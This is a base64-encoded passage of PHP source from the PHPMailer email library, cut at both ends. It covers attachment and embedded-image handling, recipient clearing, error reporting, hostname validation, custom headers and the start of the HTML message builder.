nkgdG8gd29yayBpdCBvdXQgZnJvbSB0aGUgZmlsZSBuYW1lCiAgICAgICAgaWYgKCcnID09ICR0eXBlKSB7CiAgICAgICAgICAgICR0eXBlID0gc3RhdGljOjpmaWxlbmFtZVRvVHlwZSgkcGF0aCk7CiAgICAgICAgfQogICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRwYXRoKTsKICAgICAgICBpZiAoJycgPT0gJG5hbWUpIHsKICAgICAgICAgICAgJG5hbWUgPSAkZmlsZW5hbWU7CiAgICAgICAgfQogICAgICAgIC8vIEFwcGVuZCB0byAkYXR0YWNobWVudCBhcnJheQogICAgICAgICR0aGlzLT5hdHRhY2htZW50W10gPSBbCiAgICAgICAgICAgIDAgPT4gJHBhdGgsCiAgICAgICAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgIDYgPT4gJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICA3ID0+ICRjaWQsCiAgICAgICAgXTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIC8qKgogICAgICogQWRkIGFuIGVtYmVkZGVkIHN0cmluZ2lmaWVkIGF0dGFjaG1lbnQuCiAgICAgKiBUaGlzIGNhbiBpbmNsdWRlIGltYWdlcywgc291bmRzLCBhbmQganVzdCBhYm91dCBhbnkgb3RoZXIgZG9jdW1lbnQgdHlwZS4KICAgICAqIElmIHlvdXIgZmlsZW5hbWUgZG9lc24ndCBjb250YWluIGFuIGV4dGVuc2lvbiwgYmUgc3VyZSB0byBzZXQgdGhlICR0eXBlIHRvIGFuIGFwcHJvcHJpYXRlIE1JTUUgdHlwZS4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgICAgICBUaGUgYXR0YWNobWVudCBiaW5hcnkgZGF0YQogICAgICogQHBhcmFtIHN0cmluZyAkY2lkICAgICAgICAgQ29udGVudCBJRCBvZiB0aGUgYXR0YWNobWVudDsgVXNlIHRoaXMgdG8gcmVmZXJlbmNlCiAgICAgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aGUgY29udGVudCB3aGVuIHVzaW5nIGFuIGVtYmVkZGVkIGltYWdlIGluIEhUTUwKICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgICAgICAgIEEgZmlsZW5hbWUgZm9yIHRoZSBhdHRhY2htZW50LiBJZiB0aGlzIGNvbnRhaW5zIGFuIGV4dGVuc2lvbiwKICAgICAqICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBIUE1haWxlciB3aWxsIGF0dGVtcHQgdG8gc2V0IGEgTUlNRSB0eXBlIGZvciB0aGUgYXR0YWNobWVudC4KICAgICAqICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZvciBleGFtcGxlICdmaWxlLmpwZycgd291bGQgZ2V0IGFuICdpbWFnZS9qcGVnJyBNSU1FIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyAgICBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKSwgZGVmYXVsdHMgdG8gJ2Jhc2U2NCcKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgICAgICAgIE1JTUUgdHlwZSAtIHdpbGwgYmUgdXNlZCBpbiBwcmVmZXJlbmNlIHRvIGFueSBhdXRvbWF0aWNhbGx5IGRlcml2ZWQgdHlwZQogICAgICogQHBhcmFtIHN0cmluZyAkZGlzcG9zaXRpb24gRGlzcG9zaXRpb24gdG8gdXNlCiAgICAgKgogICAgICogQHJldHVybiBib29sIFRydWUgb24gc3VjY2Vzc2Z1bGx5IGFkZGluZyBhbiBhdHRhY2htZW50CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRTdHJpbmdFbWJlZGRlZEltYWdlKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGNpZCwKICAgICAgICAkbmFtZSA9ICcnLAogICAgICAgICRlbmNvZGluZyA9IHNlbGY6OkVOQ09ESU5HX0JBU0U2NCwKICAgICAgICAkdHlwZSA9ICcnLAogICAgICAgICRkaXNwb3NpdGlvbiA9ICdpbmxpbmUnCiAgICApIHsKICAgICAgICAvLyBJZiBhIE1JTUUgdHlwZSBpcyBub3Qgc3BlY2lmaWVkLCB0cnkgdG8gd29yayBpdCBvdXQgZnJvbSB0aGUgbmFtZQogICAgICAgIGlmICgnJyA9PSAkdHlwZSBhbmQgIWVtcHR5KCRuYW1lKSkgewogICAgICAgICAgICAkdHlwZSA9IHN0YXRpYzo6ZmlsZW5hbWVUb1R5cGUoJG5hbWUpOwogICAgICAgIH0KICAgICAgICAvLyBBcHBlbmQgdG8gJGF0dGFjaG1lbnQgYXJyYXkKICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gWwogICAgICAgICAgICAwID0+ICRzdHJpbmcsCiAgICAgICAgICAgIDEgPT4gJG5hbWUsCiAgICAgICAgICAgIDIgPT4gJG5hbWUsCiAgICAgICAgICAgIDMgPT4gJGVuY29kaW5nLAogICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICA1ID0+IHRydWUsIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgNyA9PiAkY2lkLAogICAgICAgIF07CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGVtYmVkZGVkIGF0dGFjaG1lbnQgaXMgcHJlc2VudCB3aXRoIHRoaXMgY2lkLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJGNpZAogICAgICoKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gY2lkRXhpc3RzKCRjaWQpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgaWYgKCdpbmxpbmUnID09ICRhdHRhY2htZW50WzZdIGFuZCAkY2lkID09ICRhdHRhY2htZW50WzddKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGlubGluZSBhdHRhY2htZW50IGlzIHByZXNlbnQuCiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpbmxpbmVJbWFnZUV4aXN0cygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgaWYgKCdpbmxpbmUnID09ICRhdHRhY2htZW50WzZdKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGF0dGFjaG1lbnQgKG5vbi1pbmxpbmUpIGlzIHByZXNlbnQuCiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhdHRhY2htZW50RXhpc3RzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCkgewogICAgICAgICAgICBpZiAoJ2F0dGFjaG1lbnQnID09ICRhdHRhY2htZW50WzZdKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAvKioKICAgICAqIENoZWNrIGlmIHRoaXMgbWVzc2FnZSBoYXMgYW4gYWx0ZXJuYXRpdmUgYm9keSBzZXQuCiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhbHRlcm5hdGl2ZUV4aXN0cygpCiAgICB7CiAgICAgICAgcmV0dXJuICFlbXB0eSgkdGhpcy0+QWx0Qm9keSk7CiAgICB9CiAgICAvKioKICAgICAqIENsZWFyIHF1ZXVlZCBhZGRyZXNzZXMgb2YgZ2l2ZW4ga2luZC4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kICd0bycsICdjYycsIG9yICdiY2MnCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclF1ZXVlZEFkZHJlc3Nlcygka2luZCkKICAgIHsKICAgICAgICAkdGhpcy0+UmVjaXBpZW50c1F1ZXVlID0gYXJyYXlfZmlsdGVyKAogICAgICAgICAgICAkdGhpcy0+UmVjaXBpZW50c1F1ZXVlLAogICAgICAgICAgICBmdW5jdGlvbiAoJHBhcmFtcykgdXNlICgka2luZCkgewogICAgICAgICAgICAgICAgcmV0dXJuICRwYXJhbXNbMF0gIT0gJGtpbmQ7CiAgICAgICAgICAgIH0KICAgICAgICApOwogICAgfQogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgVG8gcmVjaXBpZW50cy4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQWRkcmVzc2VzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+dG8gYXMgJHRvKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCR0b1swXSldKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPnRvID0gW107CiAgICAgICAgJHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCd0bycpOwogICAgfQogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgQ0MgcmVjaXBpZW50cy4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQ0NzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Y2MgYXMgJGNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRjY1swXSldKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPmNjID0gW107CiAgICAgICAgJHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCdjYycpOwogICAgfQogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgQkNDIHJlY2lwaWVudHMuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckJDQ3MoKQogICAgewogICAgICAgIGZvcmVhY2ggKCR0aGlzLT5iY2MgYXMgJGJjYykgewogICAgICAgICAgICB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYmNjWzBdKV0pOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+YmNjID0gW107CiAgICAgICAgJHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCdiY2MnKTsKICAgIH0KICAgIC8qKgogICAgICogQ2xlYXIgYWxsIFJlcGx5VG8gcmVjaXBpZW50cy4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyUmVwbHlUb3MoKQogICAgewogICAgICAgICR0aGlzLT5SZXBseVRvID0gW107CiAgICAgICAgJHRoaXMtPlJlcGx5VG9RdWV1ZSA9IFtdOwogICAgfQogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgcmVjaXBpZW50IHR5cGVzLgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBbGxSZWNpcGllbnRzKCkKICAgIHsKICAgICAgICAkdGhpcy0+dG8gPSBbXTsKICAgICAgICAkdGhpcy0+Y2MgPSBbXTsKICAgICAgICAkdGhpcy0+YmNjID0gW107CiAgICAgICAgJHRoaXMtPmFsbF9yZWNpcGllbnRzID0gW107CiAgICAgICAgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSA9IFtdOwogICAgfQogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgZmlsZXN5c3RlbSwgc3RyaW5nLCBhbmQgYmluYXJ5IGF0dGFjaG1lbnRzLgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnQgPSBbXTsKICAgIH0KICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGN1c3RvbSBoZWFkZXJzLgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJDdXN0b21IZWFkZXJzKCkKICAgIHsKICAgICAgICAkdGhpcy0+Q3VzdG9tSGVhZGVyID0gW107CiAgICB9CiAgICAvKioKICAgICAqIEFkZCBhbiBlcnJvciBtZXNzYWdlIHRvIHRoZSBlcnJvciBjb250YWluZXIuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkbXNnCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXRFcnJvcigkbXNnKQogICAgewogICAgICAgICsrJHRoaXMtPmVycm9yX2NvdW50OwogICAgICAgIGlmICgnc210cCcgPT0gJHRoaXMtPk1haWxlciBhbmQgbnVsbCAhPT0gJHRoaXMtPnNtdHApIHsKICAgICAgICAgICAgJGxhc3RlcnJvciA9ICR0aGlzLT5zbXRwLT5nZXRFcnJvcigpOwogICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ2Vycm9yJ10pKSB7CiAgICAgICAgICAgICAgICAkbXNnIC49ICR0aGlzLT5sYW5nKCdzbXRwX2Vycm9yJykgLiAkbGFzdGVycm9yWydlcnJvciddOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbGFzdGVycm9yWydkZXRhaWwnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgRGV0YWlsOiAnIC4gJGxhc3RlcnJvclsnZGV0YWlsJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ3NtdHBfY29kZSddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBTTVRQIGNvZGU6ICcgLiAkbGFzdGVycm9yWydzbXRwX2NvZGUnXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGxhc3RlcnJvclsnc210cF9jb2RlX2V4J10pKSB7CiAgICAgICAgICAgICAgICAgICAgJG1zZyAuPSAnIEFkZGl0aW9uYWwgU01UUCBpbmZvOiAnIC4gJGxhc3RlcnJvclsnc210cF9jb2RlX2V4J107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHRoaXMtPkVycm9ySW5mbyA9ICRtc2c7CiAgICB9CiAgICAvKioKICAgICAqIFJldHVybiBhbiBSRkMgODIyIGZvcm1hdHRlZCBkYXRlLgogICAgICoKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmZjRGF0ZSgpCiAgICB7CiAgICAgICAgLy8gU2V0IHRoZSB0aW1lIHpvbmUgdG8gd2hhdGV2ZXIgdGhlIGRlZmF1bHQgaXMgdG8gYXZvaWQgNTAwIGVycm9ycwogICAgICAgIC8vIFdpbGwgZGVmYXVsdCB0byBVVEMgaWYgaXQncyBub3Qgc2V0IHByb3Blcmx5IGluIHBocC5pbmkKICAgICAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KEBkYXRlX2RlZmF1bHRfdGltZXpvbmVfZ2V0KCkpOwogICAgICAgIHJldHVybiBkYXRlKCdELCBqIE0gWSBIOmk6cyBPJyk7CiAgICB9CiAgICAvKioKICAgICAqIEdldCB0aGUgc2VydmVyIGhvc3RuYW1lLgogICAgICogUmV0dXJucyAnbG9jYWxob3N0LmxvY2FsZG9tYWluJyBpZiB1bmtub3duLgogICAgICoKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXJ2ZXJIb3N0bmFtZSgpCiAgICB7CiAgICAgICAgJHJlc3VsdCA9ICcnOwogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkhvc3RuYW1lKSkgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPkhvc3RuYW1lOwogICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUikgYW5kIGFycmF5X2tleV9leGlzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRob3N0bmFtZScpIGFuZCBnZXRob3N0bmFtZSgpICE9PSBmYWxzZSkgewogICAgICAgICAgICAkcmVzdWx0ID0gZ2V0aG9zdG5hbWUoKTsKICAgICAgICB9IGVsc2VpZiAocGhwX3VuYW1lKCduJykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSBwaHBfdW5hbWUoJ24nKTsKICAgICAgICB9CiAgICAgICAgaWYgKCFzdGF0aWM6OmlzVmFsaWRIb3N0KCRyZXN1bHQpKSB7CiAgICAgICAgICAgIHJldHVybiAnbG9jYWxob3N0LmxvY2FsZG9tYWluJzsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CiAgICAvKioKICAgICAqIFZhbGlkYXRlIHdoZXRoZXIgYSBzdHJpbmcgY29udGFpbnMgYSB2YWxpZCB2YWx1ZSB0byB1c2UgYXMgYSBob3N0bmFtZSBvciBJUCBhZGRyZXNzLgogICAgICogSVB2NiBhZGRyZXNzZXMgbXVzdCBpbmNsdWRlIFtdLCBlLmcuIGBbOjoxXWAsIG5vdCBqdXN0IGA6OjFgLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhvc3QgVGhlIGhvc3QgbmFtZSBvciBJUCBhZGRyZXNzIHRvIGNoZWNrCiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gaXNWYWxpZEhvc3QoJGhvc3QpCiAgICB7CiAgICAgICAgLy9TaW1wbGUgc3ludGF4IGxpbWl0cwogICAgICAgIGlmICgKICAgICAgICAgICAgZW1wdHkoJGhvc3QpCiAgICAgICAgICAgIG9yICFpc19zdHJpbmcoJGhvc3QpCiAgICAgICAgICAgIG9yIHN0cmxlbigkaG9zdCkgPiAyNTYKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAvL0xvb2tzIGxpa2UgYSBicmFja2V0ZWQgSVB2NiBhZGRyZXNzCiAgICAgICAgaWYgKHRyaW0oJGhvc3QsICdbXScpICE9ICRob3N0KSB7CiAgICAgICAgICAgIHJldHVybiAoYm9vbCkgZmlsdGVyX3Zhcih0cmltKCRob3N0LCAnW10nKSwgRklMVEVSX1ZBTElEQVRFX0lQLCBGSUxURVJfRkxBR19JUFY2KTsKICAgICAgICB9CiAgICAgICAgLy9JZiByZW1vdmluZyBhbGwgdGhlIGRvdHMgcmVzdWx0cyBpbiBhIG51bWVyaWMgc3RyaW5nLCBpdCBtdXN0IGJlIGFuIElQdjQgYWRkcmVzcy4KICAgICAgICAvL05lZWQgdG8gY2hlY2sgdGhpcyBmaXJzdCBiZWNhdXNlIG90aGVyd2lzZSB0aGluZ3MgbGlrZSBgOTk5LjAuMC4wYCBhcmUgY29uc2lkZXJlZCB2YWxpZCBob3N0IG5hbWVzCiAgICAgICAgaWYgKGlzX251bWVyaWMoc3RyX3JlcGxhY2UoJy4nLCAnJywgJGhvc3QpKSkgewogICAgICAgICAgICAvL0lzIGl0IGEgdmFsaWQgSVB2NCBhZGRyZXNzPwogICAgICAgICAgICByZXR1cm4gKGJvb2wpIGZpbHRlcl92YXIoJGhvc3QsIEZJTFRFUl9WQUxJREFURV9JUCwgRklMVEVSX0ZMQUdfSVBWNCk7CiAgICAgICAgfQogICAgICAgIGlmIChmaWx0ZXJfdmFyKCdodHRwOi8vJyAuICRob3N0LCBGSUxURVJfVkFMSURBVEVfVVJMKSkgewogICAgICAgICAgICAvL0lzIGl0IGEgc3ludGFjdGljYWxseSB2YWxpZCBob3N0bmFtZT8KICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIC8qKgogICAgICogR2V0IGFuIGVycm9yIG1lc3NhZ2UgaW4gdGhlIGN1cnJlbnQgbGFuZ3VhZ2UuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAka2V5CiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGxhbmcoJGtleSkKICAgIHsKICAgICAgICBpZiAoY291bnQoJHRoaXMtPmxhbmd1YWdlKSA8IDEpIHsKICAgICAgICAgICAgJHRoaXMtPnNldExhbmd1YWdlKCdlbicpOyAvLyBzZXQgdGhlIGRlZmF1bHQgbGFuZ3VhZ2UKICAgICAgICB9CiAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoJGtleSwgJHRoaXMtPmxhbmd1YWdlKSkgewogICAgICAgICAgICBpZiAoJ3NtdHBfY29ubmVjdF9mYWlsZWQnID09ICRrZXkpIHsKICAgICAgICAgICAgICAgIC8vSW5jbHVkZSBhIGxpbmsgdG8gdHJvdWJsZXNob290aW5nIGRvY3Mgb24gU01UUCBjb25uZWN0aW9uIGZhaWx1cmUKICAgICAgICAgICAgICAgIC8vdGhpcyBpcyBieSBmYXIgdGhlIGJpZ2dlc3QgY2F1c2Ugb2Ygc3VwcG9ydCBxdWVzdGlvbnMKICAgICAgICAgICAgICAgIC8vYnV0IGl0J3MgdXN1YWxseSBub3QgUEhQTWFpbGVyJ3MgZmF1bHQuCiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPmxhbmd1YWdlWyRrZXldOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bGFuZ3VhZ2VbJGtleV07CiAgICAgICAgfQogICAgICAgIC8vUmV0dXJuIHRoZSBrZXkgYXMgYSBmYWxsYmFjawogICAgICAgIHJldHVybiAka2V5OwogICAgfQogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhbiBlcnJvciBvY2N1cnJlZC4KICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wgVHJ1ZSBpZiBhbiBlcnJvciBkaWQgb2NjdXIKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzRXJyb3IoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+ZXJyb3JfY291bnQgPiAwOwogICAgfQogICAgLyoqCiAgICAgKiBBZGQgYSBjdXN0b20gaGVhZGVyLgogICAgICogJG5hbWUgdmFsdWUgY2FuIGJlIG92ZXJsb2FkZWQgdG8gY29udGFpbgogICAgICogYm90aCBoZWFkZXIgbmFtZSBhbmQgdmFsdWUgKG5hbWU6dmFsdWUpLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgICAgICAkbmFtZSAgQ3VzdG9tIGhlYWRlciBuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nfG51bGwgJHZhbHVlIEhlYWRlciB2YWx1ZQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkQ3VzdG9tSGVhZGVyKCRuYW1lLCAkdmFsdWUgPSBudWxsKQogICAgewogICAgICAgIGlmIChudWxsID09PSAkdmFsdWUpIHsKICAgICAgICAgICAgLy8gVmFsdWUgcGFzc2VkIGluIGFzIG5hbWU6dmFsdWUKICAgICAgICAgICAgJHRoaXMtPkN1c3RvbUhlYWRlcltdID0gZXhwbG9kZSgnOicsICRuYW1lLCAyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+Q3VzdG9tSGVhZGVyW10gPSBbJG5hbWUsICR2YWx1ZV07CiAgICAgICAgfQogICAgfQogICAgLyoqCiAgICAgKiBSZXR1cm5zIGFsbCBjdXN0b20gaGVhZGVycy4KICAgICAqCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDdXN0b21IZWFkZXJzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPkN1c3RvbUhlYWRlcjsKICAgIH0KICAgIC8qKgogICAgICogQ3JlYXRlIGEgbWVzc2FnZSBib2R5IGZyb20gYW4gSFRNTCBzdHJpbmcuCiAgICAgKiBBdXRvbWF0aWNhbGx5IGlubGluZXMgaW1hZ2VzIGFuZCBjcmVhdGVzIGEgcGxhaW4tdGV4dCB2ZXJzaW9uIGJ5IGNvbnZlcnRpbmcgdGhlIEhUTUwsCiAgICAgKiBvdmVyd3JpdGluZyBhbnkgZXhpc3RpbmcgdmFsdWVzIGluIEJvZHkgYW5kIEFsdEJvZHkuCiAgICAgKiBEbyBub3Qgc291cmNlICRtZXNzYWdlIGNvbnRlbnQgZnJvbSB1c2VyIGlucHV0IQogICAgICogJGJhc2VkaXIgaXMgcHJlcGVuZGVkIHdoZW4gaGFuZGxpbmcgcmVsYXRpdmUgVVJMcywgZS5nLiA8aW1nIHNyYz0iL2ltYWdlcy9hLnBuZyI+IGFuZCBtdXN0IG5vdCBiZSBlbXB0eQogICAgICogd2lsbCBsb29rIGZvciBhbiBpbWFnZSBmaWxlIGluICRiYXNlZGlyL2ltYWdlcy9hLnBuZyBhbmQgY29udmVydCBpdCB0byBpbmxpbmUuCiAgICAgKiBJZiB5b3UgZG9uJ3QgcHJvdmlkZSBhICRiYXNlZGlyLCByZWxhdGl2ZSBwYXRocyB3aWxsIGJlIGxlZnQgdW50b3VjaGVkIChhbmQgdGh1cyBwcm9iYWJseSBicmVhayBpbiBlbWFpbCkKICAgICAqIENvbnZlcnRzIGRhdGEtdXJpIGltYWdlcyBpbnRvIGVtYmVkZGVkIGF0dGFjaG1lbnRzLgogICAgICogSWYgeW91IGRvbid0IHdhbnQgdG8gYXBwbHkgdGhlc2UgdHJhbnNmb3JtYXRpb25zIHRvIHlvdXIgSFRNTCwganVzdCBzZXQgQm9keSBhbmQgQWx0Qm9keSBkaXJlY3RseS4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICAgICAgICAkbWVzc2FnZSAgSFRNTCBtZXNzYWdlIHN0cmluZwogICAgICogQHBhcmFtIHN0cmluZyAgICAgICAgJGJhc2VkaXIgIEFic29sdXRlIHBhdGggdG8gYSBiYXNlIGRpcmVjdG9yeSB0byBwcmVwZW5kIHRvIHJlbGF0aXZlIHBhdGhzIHRvIGltYWdlcwogICAgICogQHBhcmFtIGJvb2x8Y2FsbGFibGUgJGFkdmFuY2VkIFdoZXRoZXIgdG8gdXNlIHRoZSBpbnRlcm5hbCBIVE1MIHRvIHRleHQgY29udmVydGVyCiAgICAgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3IgeW91ciBvd24gY3VzdG9tIGNvbnZlcnRlciBAc2VlIFBIUE1haWxlcjo6aHRtbDJ0ZXh0KCkKICAgICAqCiAgICAgKiBAcmV0dXJuIHN0cmluZyAkbWVzc2FnZSBUaGUgdHJhbnNmb3JtZWQgbWVzc2FnZSBCb2R5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBtc2dIVE1MKCRtZXNzYWdlLCAkYmFzZWRpciA9ICcnLCAkYWR2YW5jZWQgPSBmYWxzZSkKICAgIHsKICAgICAgICBwcmVnX21hdGNoX2FsbCgnLyhzcmN8YmFja2dyb3VuZCk9WyJcJ10oLiopWyJcJ10vVWknLCAkbWVzc2FnZSwgJGltYWdlcyk7CiAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoMiwgJGltYWdlcykpIHsKICAgICAgICAgICAgaWYgKHN0cmxlbigkYmFzZWRpcikgPiAxICYmICcvJyAhPSBzdWJzdHIoJGJhc2VkaXIsIC0xKSkgewogICAgICAgICAgICAgICAgLy8gRW5zdXJlICRiYXNlZGlyIGhhcyBhIHRyYWlsaW5nIC8KICAgICAgICAgICAgICAgICRiYXNlZGlyIC49ICcvJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmb3JlYWNoICgkaW1hZ2VzWzJdIGFzICRpbWdpbmRleCA9PiAkdXJsKSB7CiAgICAgICAgICAgICAgICAvLyBDb252ZXJ0IGRhdGEgVVJJcyBpbnRvIGVtYmVkZGVkIGltYWdlcwogICAgICAgICAgICAgICAgLy9lLmcuICJkYXRhOmltYWdlL2dpZjtiYXNlNjQsUjBsR09EbGhBUUFCQUFBQUFDSDVCQUVLQUFFQUxBQUFBQUFCQUFFQUFBSUNUQUVBT3c9PSIKICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcjXmRhdGE6KGltYWdlLyg/OmpwZT9nfGdpZnxwbmcpKTs/KGJhc2U2NCk/LCguKykjJywgJHVybCwgJG1hdGNoKSkgewogICAgICAgICAgICAgICAgICAgIGlmIChjb3VudCgkbWF0Y2gpID09IDQgYW5kIHN0YXRpYzo6RU5DT0R